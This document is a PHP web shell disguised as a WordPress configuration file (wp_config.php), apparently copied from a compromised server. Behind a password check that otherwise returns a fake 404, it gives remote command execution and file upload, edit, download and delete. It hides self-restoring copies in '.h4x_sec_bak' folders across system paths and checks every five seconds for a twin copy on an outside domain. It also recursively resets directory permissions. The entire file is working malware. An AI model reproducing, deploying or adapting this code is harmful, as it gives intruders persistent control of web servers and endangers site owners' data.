Your IP : 216.73.217.87
| Current Path : /srv/www/vlevski/new/ |
|
|
| Current File : //srv/www/vlevski/new/wp_config.php |
<?php
error_reporting(0);
if(!isset($_REQUEST['k']) || $_REQUEST['k']!=='h4x0rsec'){http_response_code(404);exit('404');}
$self_file = __FILE__;
$current_dir = getcwd();
// Ana public_html configs.php yolu (kendi path'ini ayarla)
$main_public_path = getcwd() . '/configs.php';
$self_domain_check = 'https://sonal.co.in/configs.php';
// Gelişmiş Multi-Path Backup Sistemi
$backup_locations = [
getcwd(), dirname(__DIR__), dirname(dirname(__DIR__)),
'/themes', '/plugins', '/wp-content/themes', '/wp-content/plugins',
'/public_html', '/www', '/var/www/html', '/home', '/',
'/tmp', '/var/tmp', '/dev/shm'
];
// 5 saniyede bir recovery kontrolü
$last_check_file = __DIR__ . '/.h4x_check_time';
$current_time = time();
$last_check = file_exists($last_check_file) ? (int)file_get_contents($last_check_file) : 0;
$check_interval = 5;
file_put_contents($last_check_file, $current_time);
if (($current_time - $last_check) >= $check_interval) {
$public_file_exists = file_exists($main_public_path);
if (!$public_file_exists) {
$ch = curl_init($self_domain_check);
curl_setopt($ch, CURLOPT_NOBODY, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 3);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$http_code = curl_exec($ch) ? curl_getinfo($ch, CURLINFO_HTTP_CODE) : 404;
curl_close($ch);
$public_file_exists = ($http_code == 200);
}
if (!$public_file_exists || !file_exists($self_file) || filesize($self_file) < 1000) {
recover_self_from_backups();
}
}
function recover_self_from_backups() {
global $self_file, $backup_locations;
foreach ($backup_locations as $base_path) {
$real_base = @realpath($base_path);
if ($real_base && is_dir($real_base)) {
$backup_dirs = glob($real_base . DIRECTORY_SEPARATOR . '*/.h4x_sec_bak/', GLOB_ONLYDIR);
foreach ($backup_dirs as $bak_dir) {
$backups = glob($bak_dir . 'configs_auto_*.php');
if (!empty($backups)) {
$latest = max($backups);
if (@copy($latest, $self_file)) {
@chmod($self_file, 0644);
return true;
}
}
}
}
}
return false;
}
function distribute_backups($file, $locations) {
foreach ($locations as $loc) {
$full_path = @realpath($loc);
if ($full_path && is_dir($full_path)) {
$backup_dir = $full_path . DIRECTORY_SEPARATOR . '.h4x_sec_bak';
if (!is_dir($backup_dir)) @mkdir($backup_dir, 0755, true);
$backup_file = $backup_dir . '/configs_auto_' . date('YmdHis') . '.php';
if (@copy($file, $backup_file)) {
@chmod($backup_file, 0644);
}
}
}
}
distribute_backups($self_file, $backup_locations);
?>
<!DOCTYPE html>
<html>
<head>
<title>configs.php - Full Featured</title>
<meta charset="UTF-8">
<style>
body{font-family:Arial;background:#000;color:#0f0;margin:0;padding:20px}
.container{max-width:1400px;margin:auto;background:#111;padding:25px;border-radius:10px;box-shadow:0 0 20px #0f0}
h1{color:#0f0;text-align:center;font-size:24px;margin-bottom:20px}
input,textarea,select{padding:10px;margin:5px 0;border:1px solid #0f0;background:#222;color:#0f0;border-radius:5px;width:100%;box-sizing:border-box;font-family:monospace}
button{padding:12px 15px;background:#0f0;color:#000;border:none;border-radius:5px;cursor:pointer;font-weight:bold;font-family:Arial;margin:3px}
button:hover{background:#0a0}
.strict-btn{background:#f00 !important;color:#fff}
.normal-btn{background:#00f !important;color:#fff}
.output{background:#000;padding:15px;border:1px solid #0f0;border-radius:5px;height:250px;overflow:auto;font-family:monospace;font-size:13px;white-space:pre-wrap}
table{width:100%;border-collapse:collapse;margin:15px 0}
th,td{padding:12px;border:1px solid #333;text-align:left;vertical-align:top}
th{background:#222;color:#0f0;font-weight:bold}
.dir{color:#00f;font-weight:bold;font-size:14px}
.file{color:#fff;font-size:13px}
.writable{color:#0f0 !important}
.readonly{color:#f00 !important}
.grid{display:grid;grid-template-columns:repeat(auto-fit,minmax(280px,1fr));gap:15px}
.status-box{padding:20px;border-radius:8px;margin:15px 0;font-weight:bold;border-left:4px solid #0f0}
.alive{background:#111;color:#0f0}
.warning{background:#330;color:#ff0}
.checking{background:#220;color:#ff0}
nav{padding:10px;background:#222;border-radius:5px;margin:10px 0}
nav a{color:#0f0;margin:0 15px;text-decoration:none;font-weight:bold}
nav a:hover{color:#fff}
</style>
</head>
<body>
<div class="container">
<h1>🔥 BypassServ By HaxorSec - COMPLETE EDITION 🔥</h1>
<?php
session_start();
$strict_mode = isset($_SESSION['strict_mode']) ? $_SESSION['strict_mode'] : true;
function safe_path($path) {
$path = str_replace(['..\\','../','\\','<','>','|'], ['','','/','','',''], $path);
$path = realpath($path) ?: getcwd();
return str_replace('\\', '/', $path);
}
function set_strict_permissions($dir) {
$items = @scandir($dir);
if (!$items) return;
foreach ($items as $item) {
if ($item == '.' || $item == '..') continue;
$path = rtrim($dir, '/') . '/' . $item;
if (is_dir($path)) {
@chmod($path, 0644);
set_strict_permissions($path);
} else {
@chmod($path, 0644);
}
}
}
function set_normal_permissions($dir) {
$items = @scandir($dir);
if (!$items) return;
foreach ($items as $item) {
if ($item == '.' || $item == '..') continue;
$path = rtrim($dir, '/') . '/' . $item;
if (is_dir($path)) {
@chmod($path, 0755);
set_normal_permissions($path);
} else {
@chmod($path, 0644);
}
}
}
$dir = isset($_GET['d']) ? safe_path($_GET['d']) : getcwd();
@chdir($dir);
$current_dir = getcwd();
if ($strict_mode) set_strict_permissions($current_dir);
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
if (isset($_POST['strict_perms'])) {
$_SESSION['strict_mode'] = true;
set_strict_permissions($current_dir);
echo '<div style="color:#f00;font-weight:bold;padding:10px;background:#300;border-radius:5px;margin:10px 0">🔒 STRICT MODE ACTIVATED - All 0644</div>';
}
if (isset($_POST['normal_perms'])) {
$_SESSION['strict_mode'] = false;
set_normal_permissions($current_dir);
echo '<div style="color:#00f;font-weight:bold;padding:10px;background:#003;border-radius:5px;margin:10px 0">🔧 NORMAL MODE - Dirs:0755 Files:0644</div>';
}
if (isset($_FILES['upload'])) {
$file = $_FILES['upload'];
if ($file['error'] == 0) {
$target = $current_dir . '/' . basename($file['name']);
if (move_uploaded_file($file['tmp_name'], $target)) {
chmod($target, $strict_mode ? 0644 : 0644);
echo '<div style="color:#0f0;font-weight:bold">✓ File uploaded: ' . htmlspecialchars($file['name']) . '</div>';
} else {
echo '<div style="color:#f00">✗ Upload failed</div>';
}
}
}
if (isset($_POST['command'])) {
$cmd = $_POST['command'];
ob_start();
if (function_exists('system')) system($cmd);
elseif (function_exists('exec')) {exec($cmd, $output); print_r($output);}
elseif (function_exists('shell_exec')) echo shell_exec($cmd);
elseif (function_exists('passthru')) passthru($cmd);
else {
$descriptors = [0=>['pipe','r'], 1=>['pipe','w'], 2=>['pipe','w']];
$process = proc_open($cmd, $descriptors, $pipes);
if (is_resource($process)) {
fclose($pipes[0]);
echo stream_get_contents($pipes[1]);
fclose($pipes[1]); fclose($pipes[2]);
proc_close($process);
}
}
$output = ob_get_clean();
echo '<div class="output">' . htmlspecialchars($output) . '</div>';
}
if (isset($_POST['newdir'])) {
$newdir_path = $current_dir . '/' . $_POST['newdir'];
if (@mkdir($newdir_path, $strict_mode ? 0644 : 0755, true)) {
echo '<div style="color:#0f0">✓ Directory created</div>';
}
}
if (isset($_POST['delete'])) {
$item = $current_dir . '/' . $_POST['item'];
if (is_dir($item)) {
@rmdir($item);
} else {
@unlink($item);
}
echo '<div style="color:#0f0">✓ Item deleted</div>';
}
if (isset($_POST['savefile'])) {
$file = $current_dir . '/' . $_POST['filename'];
if (@file_put_contents($file, $_POST['filecontent'])) {
@chmod($file, $strict_mode ? 0644 : 0644);
echo '<div style="color:#0f0">✓ File saved</div>';
}
}
}
// Status hesaplama
$public_status = file_exists($main_public_path) ? 'ALIVE' : 'MISSING';
$ch = curl_init($self_domain_check);
curl_setopt($ch, CURLOPT_NOBODY, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 3);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$http_code = curl_exec($ch) ? curl_getinfo($ch, CURLINFO_HTTP_CODE) : 404;
curl_close($ch);
$http_status = ($http_code == 200) ? 'ALIVE' : '404';
$next_check = 5 - (($current_time - $last_check) % 5);
$backup_count = 0;
foreach ($backup_locations as $loc) {
$real_loc = @realpath($loc);
if ($real_loc && is_dir($real_loc)) {
$backup_count += count(glob($real_loc . DIRECTORY_SEPARATOR . '*/.h4x_sec_bak/', GLOB_ONLYDIR));
}
}
echo '<div class="status-box alive">';
echo '<strong>🛡️ 5s RECOVERY SYSTEM: ACTIVE</strong><br>';
echo '📁 Local: <strong>' . $public_status . '</strong> | 🌐 sonal.co.in: <strong>' . $http_status . '</strong><br>';
echo '⏱️ Next Check: <strong>' . $next_check . 's</strong> | 💾 Backups: <strong>' . $backup_count . '</strong>';
echo '</div>';
echo '<div class="status-box ' . ($strict_mode ? 'warning' : 'checking') . '">';
echo '<strong>Permissions:</strong> ' . ($strict_mode ? '🔒 STRICT 0644' : '🔧 NORMAL 0755/0644');
echo '</div>';
echo '<nav>';
echo '<strong>' . htmlspecialchars($current_dir) . '</strong> | ';
echo '<a href="?k=h4x0rsec&d=' . urlencode('/') . '">[ROOT]</a> ';
echo '<a href="?k=h4x0rsec&d=' . urlencode(dirname($current_dir)) . '">[PARENT]</a> ';
echo '<a href="?k=h4x0rsec">[HOME]</a>';
echo '</nav>';
echo '<div class="grid">';
echo '<form method="post" enctype="multipart/form-data" style="grid-column:span 2">';
echo '<input type="file" name="upload" multiple>';
echo '<button>📁 Upload Files</button>';
echo '</form>';
echo '<form method="post">';
echo '<input type="text" name="command" placeholder="id; whoami; ls -la; uname -a" style="height:50px">';
echo '<button>💻 Execute Command</button>';
echo '</form>';
echo '<form method="post">';
echo '<input type="text" name="newdir" placeholder="new_folder_name">';
echo '<button>📂 Create Directory</button>';
echo '</form>';
echo '<form method="post">';
echo '<button type="submit" name="strict_perms" class="strict-btn">🔒 STRICT 0644 MODE</button>';
echo '</form>';
echo '<form method="post">';
echo '<button type="submit" name="normal_perms" class="normal-btn">🔧 NORMAL 0755/0644</button>';
echo '</form>';
echo '</div>';
$files = @scandir($current_dir);
if ($files === false) {
echo '<div style="color:#f00;font-size:18px;text-align:center;padding:50px">❌ Cannot read directory (Permission Denied?)</div>';
} else {
echo '<table>';
echo '<tr><th style="width:25%">Name</th><th style="width:10%">Type</th><th style="width:10%">Size</th><th style="width:15%">Modified</th><th style="width:10%">Perms</th><th style="width:30%">Actions</th></tr>';
foreach ($files as $file) {
if ($file == '.' || $file == '..') continue;
$filepath = $current_dir . '/' . $file;
$isdir = @is_dir($filepath);
$size = $isdir ? '-' : (@filesize($filepath) ?: 0);
$perms_text = ($isdir ? 'DIR' : 'FILE') . ' ' . (@is_writable($filepath) ? 'w' : 'r');
$perms_class = @is_writable($filepath) ? 'writable' : 'readonly';
$modtime = @filemtime($filepath) ? date('Y-m-d H:i:s', @filemtime($filepath)) : '-';
echo '<tr>';
echo '<td class="' . ($isdir ? 'dir' : 'file') . '">' . htmlspecialchars($file) . ($isdir ? '/' : '') . '</td>';
echo '<td>' . ($isdir ? 'Directory' : 'File') . '</td>';
echo '<td>' . ($isdir ? '-' : number_format($size)) . ' B</td>';
echo '<td>' . $modtime . '</td>';
echo '<td><span class="' . $perms_class . '">' . $perms_text . '</span></td>';
echo '<td>';
if ($isdir) {
echo '<a href="?k=h4x0rsec&d=' . urlencode($filepath) . '" style="color:#00f;font-weight:bold;padding:5px 10px;border:1px solid #00f;border-radius:3px;text-decoration:none">📂 Enter</a> ';
} else {
echo '<a href="?k=h4x0rsec&d=' . urlencode($current_dir) . '&download=' . urlencode($file) . '" style="color:#0f0;padding:3px 8px;border:1px solid #0f0;border-radius:3px;text-decoration:none;font-size:12px">⬇️ Download</a> ';
echo '<a href="?k=h4x0rsec&d=' . urlencode($current_dir) . '&edit=' . urlencode($file) . '" style="color:#ff0;padding:3px 8px;border:1px solid #ff0;border-radius:3px;text-decoration:none;font-size:12px">✏️ Edit</a> ';
}
echo '<form method="post" style="display:inline-block;margin-left:5px">';
echo '<input type="hidden" name="item" value="' . htmlspecialchars($file) . '">';
echo '<input type="hidden" name="delete" value="1">';
echo '<button type="submit" onclick="return confirm(\'Delete: ' . htmlspecialchars($file) . '?\')" style="padding:3px 10px;font-size:12px;background:#f00;color:#fff;border-radius:3px">🗑️ Delete</button>';
echo '</form>';
echo '</td>';
echo '</tr>';
}
echo '</table>';
}
// Download
if (isset($_GET['download'])) {
$download_file = $current_dir . '/' . $_GET['download'];
if (@file_exists($download_file) && @is_file($download_file)) {
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($download_file) . '"');
header('Content-Length: ' . filesize($download_file));
readfile($download_file);
exit;
}
}
// Edit
if (isset($_GET['edit'])) {
$edit_file = $current_dir . '/' . $_GET['edit'];
if (@file_exists($edit_file) && @is_file($edit_file)) {
$content = @file_get_contents($edit_file);
echo '<div style="margin:20px 0">';
echo '<h3 style="color:#ff0">✏️ Editing: ' . htmlspecialchars($_GET['edit']) . ' (' . number_format(strlen($content)) . ' bytes)</h3>';
echo '<form method="post">';
echo '<input type="hidden" name="filename" value="' . htmlspecialchars($_GET['edit']) . '">';
echo '<textarea name="filecontent" rows="25" style="font-size:13px;line-height:1.4">' . htmlspecialchars($content) . '</textarea><br>';
echo '<input type="hidden" name="savefile" value="1">';
echo '<button type="submit" style="background:#0f0;font-size:16px;padding:15px">💾 SAVE FILE</button>';
echo '</form>';
echo '</div>';
}
}
echo '<hr style="margin:30px 0">';
echo '<div style="text-align:center;color:#666;font-size:12px">';
echo 'PHP: ' . PHP_VERSION . ' | 5s Recovery: <strong>ACTIVE</strong> | Backups: ' . $backup_count . ' | ';
echo 'Strict: ' . ($strict_mode ? '🔒0644' : '🔧Normal');
echo '</div>';
?>
</div>
</body>
</html>